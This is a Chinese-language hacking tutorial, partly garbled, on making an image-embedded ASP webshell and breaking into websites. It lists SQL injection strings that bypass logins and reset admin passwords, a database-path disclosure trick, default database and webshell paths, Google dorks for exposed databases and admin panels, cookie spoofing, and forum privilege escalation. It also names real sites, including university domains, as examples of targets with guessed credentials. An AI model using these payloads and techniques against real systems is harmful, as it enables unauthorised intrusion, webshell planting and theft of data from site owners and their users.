1.名稱：如何制作圖片ASP木馬?(可顯示圖片)

建一個(gè)asp文件，內(nèi)容為

找一個(gè)正常圖片ating.jpg，插入一句話木馬(比如冰狐的),用ultraedit進(jìn)行hex編譯，插入圖片里，為

了運(yùn)行成功，還要搜索,將其變?yōu)?0,(不要替換自己asp的),再把jpg文件開頭加入

'

response.write'\'

style=display:none>

最后附上?卡拉是條ok?總結(jié)的

1.上傳漏洞[不多講]

pS:?如果看到:選擇你要上傳的文件?[重新上傳]或者出現(xiàn)'請登陸后使用'，80%就有漏洞了！

有時(shí)上傳不一定會成功,這是因?yàn)镃ookies不一樣.我們就要用WSockExpert取得Cookies.再用DOMAIN上傳.

2.注入漏洞[不多講]

pS:對MD5密碼.有時(shí)我們不是哪么容易跑出來.如果是[SQL數(shù)據(jù)庫].那么我們可以用以下命令:

http://注入網(wǎng)址;update?admin?set?password=\新MD5密碼\?where?password=\舊MD5密碼\--

[admin為表名.]

3.旁注,也就是跨站.

我們?nèi)肭帜痴緯r(shí)可能這個(gè)站堅(jiān)固的無懈可擊，我們可以找下和這個(gè)站同一服務(wù)器的站點(diǎn)，然后在利用這個(gè)

站點(diǎn)用提權(quán)，嗅探等方法來入侵我們?要入侵的站點(diǎn)。，在這里有個(gè)難點(diǎn)，就是一些服務(wù)器的絕對路徑經(jīng)

過加密，這就看我們的本事了

4.暴庫:把二級目錄中間的/換成%5c

EY:http://www.ahttc.edu.cn/otherweb/dz/bgs/BigClass.asp?BigClassName=職責(zé)范圍&BigClassType=1

如果你能看到：\E:ahttc040901otherwebdzdatabaseiXuEr_Studio.asa\不是一個(gè)有效的路徑。?確定路

徑名稱拼寫是否正確，以及是否?連接到文件存放的服務(wù)器。

這樣的就是數(shù)據(jù)庫了。下載時(shí)用FLASHGET換成.MDB格式的就行.

5.\or\=\or\這是一個(gè)可以連接SQL的語名句.可以直接進(jìn)入后臺。我收集了一下。類似的還有：

\or\\=\?'?or?'a'='a?\)?or?(\a\=\a?')?or?('a'='a?or?1=1--?\?or?\a\=\a

6.社會工程學(xué)。這個(gè)我們都知道吧。就是猜解。

ＥＹ：http://www.neu.edu.cn/waishi/admin

admin?waishi

７.寫入ASP格式數(shù)據(jù)庫。就是一句話木馬[?]，常用在留言本.

ＥＹ：http://www.ahsdxy.ah.edu.cn/ebook/db/ebook.asp[這個(gè)就是ASP格式的數(shù)據(jù)庫]，再寫入一句話

木馬

8.源碼利用：一些網(wǎng)站用的都是網(wǎng)上下載的源碼.有的站長很菜.什么也不改.

EY:http://www.ahsdxy.ah.edu.cn/xiaoyoulu/index.asp

這個(gè)站用的是：杰出校友錄，源碼我下過了，

默認(rèn)數(shù)據(jù)庫/webshell路徑：databaseliangu_data.mdb?后臺管理：adm_login.asp?密碼及用戶名都是

admin

9.默認(rèn)數(shù)據(jù)庫/webshell路徑利用:這樣的網(wǎng)站很多/利人別人的WEBSHELL.

/Databackup/dvbbs7.MDB

/bbs/Databackup/dvbbs7.MDB

/bbs/Data/dvbbs7.MDB

/data/dvbbs7.mdb

/bbs/diy.asp

/diy.asp

/bbs/cmd.asp

/bbs/cmd.exe

/bbs/s-u.exe

/bbs/servu.exe

工具：網(wǎng)站獵手?挖掘雞

EY：http://www.cl1999.com/bbs/Databackup/dvbbs7.MDB

10.查看目錄法:人一些網(wǎng)站可以斷開目錄，可以方問目錄。

EY：http://www.ujs168.com/shop/admin/

http://escolourfvl.com/babyfox/admin/%23bb%23dedsed2s/

這樣我們可以找到數(shù)據(jù)庫，下載不用我教吧

11.工具溢出:.asp?NewsID=?/2j.asp?id=18?.asp?id=[這種方法可以取得大量的WEBSHELL]

12.搜索引擎利用:

(1).inurl:flasher_list.asp?默認(rèn)數(shù)據(jù)庫:database/flash.mdb?后臺/manager/

(2).找網(wǎng)站的管理后臺地址:

site:xxxx.comintext:管理

site:xxxx.comintitle:管理

site:xxxx.cominurl:login

(3).查找access的數(shù)據(jù)庫,mssql、mysql的連接文件

allinurl:bbsdata

filetype:mdbinurl:database

filetype:incconn

inurl:datafiletype:mdb

我主不做了。。自已做做吧。。

13.COOKIE欺騙：把自己的ID修改成管理員的，MD5密碼也修改成他的，用桂林老兵工具可以修改COOKIE。

這個(gè)我就不多講了

14.利用常見的漏洞：如動網(wǎng)BBS

EY：http://js1011.com/bbs/index.asp

可以先用:dvbbs權(quán)限提升工具，使自已成為前臺管理員。

THEN，運(yùn)用:動網(wǎng)固頂貼工具，找個(gè)固頂貼，再取得COOKIES，這個(gè)要你自已做。我們可以用WSockExpert

取得Cookies/NC包

這個(gè)我就不做了，網(wǎng)上教程多的是，自已下個(gè)看看。

工具：dvbbs權(quán)限提升工具?動網(wǎng)固頂貼工具

15.還有一些老漏洞。如IIS3，4的查看源碼，5的delete

CGI，PHP的一些老洞，我就不說了啊。。太老了。沒有什么大用途。

總結(jié)

以上是生活随笔為你收集整理的aspx连接mysql木马_让你变成ASP木马高手_安全教程_脚本之家的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。